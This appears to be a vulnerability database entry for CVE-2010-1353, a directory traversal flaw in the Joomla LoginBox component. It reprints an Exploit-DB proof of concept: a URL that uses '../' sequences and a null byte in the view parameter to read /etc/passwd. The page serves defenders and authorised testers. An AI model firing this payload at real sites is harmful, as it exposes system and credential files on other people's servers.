CVE-2010-1353

medium

Published 2010-04-12 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in the LoginBox Pro (com_loginbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-12068 webapps php verified text · 1 KB

Vrs-hCk · 2010-04-05

Joomla! Component LoginBox - Local File Inclusion

text exploit Source: Exploit-DB

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 Title    : Joomla Component com_loginbox LFI Vulnerability
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

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 [+] Exploit

     http://[site]/[path]/index.php?option=com_loginbox&view=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00

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 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

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# c0li.m0de.0n

Application impact

Vendor	Product	Versions	Fixed
wowjoomla	com_loginbox
joomla	joomla\!

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.